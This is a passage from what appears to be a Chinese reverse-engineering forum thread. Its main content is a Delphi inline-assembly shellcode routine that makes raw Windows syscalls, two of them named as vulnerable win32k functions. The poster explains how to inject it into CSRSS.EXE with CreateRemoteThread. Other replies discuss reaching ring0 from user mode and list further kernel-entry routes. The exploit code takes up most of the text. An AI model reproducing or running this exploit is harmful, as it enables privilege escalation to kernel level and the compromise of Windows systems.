能力值:
(RANK:860 )
11 楼
可否给源代码
xianguo1985@163.com
能力值:
( LV9,RANK:210 )
12 楼
procedure ShellCode;
asm
PUSH EBP
MOV EBP,ESP
SUB ESP,$3C
MOV ECX,DWORD PTR SS:[EBP+8]
XOR EAX,EAX
MOV DWORD PTR SS:[EBP-$24],EAX
MOV DWORD PTR SS:[EBP-$38],EAX
MOV EDX,DWORD PTR DS:[ECX+$C]
MOV DWORD PTR SS:[EBP-$30],EAX
MOV DWORD PTR SS:[EBP-$34],EAX
MOV DWORD PTR SS:[EBP-$2C],EAX
MOV DWORD PTR SS:[EBP-$28],EAX
MOV DWORD PTR SS:[EBP-4],EAX
MOV EAX,DWORD PTR DS:[ECX+4]
MOV DWORD PTR SS:[EBP-$20],EDX
MOV DWORD PTR SS:[EBP-$1C],EAX
MOV EAX,DWORD PTR DS:[ECX]
LEA EDX,DWORD PTR SS:[EBP-$1C]
MOV DWORD PTR SS:[EBP-$3C],18
MOV DWORD PTR SS:[EBP-$18],-1
MOV DWORD PTR SS:[EBP-$14],EDX
MOV DWORD PTR SS:[EBP-$10],EAX
LEA EAX,DWORD PTR SS:[EBP-$24]
PUSH EAX
LEA EAX,DWORD PTR SS:[EBP-$3C]
PUSH EAX
PUSH $60
LEA EAX,DWORD PTR SS:[EBP-4]
PUSH EAX
MOV EAX,$80
LEA EDX,DWORD PTR SS:[ESP]
INT $2E
ADD ESP,$10
TEST EAX,EAX
JL @@1
LEA EAX,DWORD PTR SS:[EBP-$C]
PUSH EAX
PUSH 4
LEA EAX,DWORD PTR SS:[EBP-8]
PUSH EAX
PUSH 1
PUSH DWORD PTR SS:[EBP-4]
MOV EAX,$11DF
LEA EDX,DWORD PTR SS:[ESP]
INT $2E
ADD ESP,$14
TEST EAX,EAX
JL @@1
PUSH 8
PUSH DWORD PTR SS:[EBP-$14]
PUSH 1
PUSH DWORD PTR SS:[EBP-4]
MOV EAX,$1208
LEA EDX,DWORD PTR SS:[ESP]
INT $2E
ADD ESP,$10
TEST EAX,EAX
JL @@1
LEA EAX,DWORD PTR SS:[EBP-$C]
PUSH EAX
PUSH 4
PUSH DWORD PTR SS:[EBP-$10]
PUSH 1
PUSH DWORD PTR SS:[EBP-4]
MOV EAX,$11DF
LEA EDX,DWORD PTR SS:[ESP]
INT $2E
ADD ESP,$14
TEST EAX,EAX
JL @@1
MOV EAX,DWORD PTR SS:[EBP-$14]
MOV ECX,DWORD PTR SS:[EBP-8]
MOV DWORD PTR DS:[EAX],ECX
PUSH 8
PUSH DWORD PTR SS:[EBP-$14]
PUSH 1
PUSH DWORD PTR SS:[EBP-4]
MOV EAX,$1208
LEA EDX,DWORD PTR SS:[ESP]
INT $2E
ADD ESP,$10
MOV EAX,DWORD PTR SS:[EBP+8]
MOV DWORD PTR DS:[EAX+8],1
@@1:MOV EAX,DWORD PTR SS:[EBP-4]
TEST EAX,EAX
JE @@2
PUSH DWORD PTR SS:[EBP-4]
MOV EAX,$19
LEA EDX,DWORD PTR SS:[ESP]
INT $2E
ADD ESP,4
@@2:MOV ESP,EBP
POP EBP
RET
end;
把上面的ShellCode 写如CSRSS.EXE CreateRemoteThread 远程执行!
虽然还没膜拜完 偶猜大概原理是这样了 感谢王小姐
shellcode 大致意思
NtOpenThread
NtUserQueryInformationThread //1号漏洞函数 //这两个函数好冷 比北极冰还冷
NtUserSetInformationThread //2号漏洞函数
NtClose
NTSTATUS NtUserSetInformationThread(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength
)
能力值:
( LV8,RANK:130 )
15 楼
我也可以从ring3直接进入ring0.不难
不需要什么漏洞类的
能力值:
( LV12,RANK:420 )
17 楼
排除ZwSystemDebugControl,PhysicalMemory ,NtLoadDriver,NtSetSystemInformation,pagefile
你还能进入RING0吗?呵呵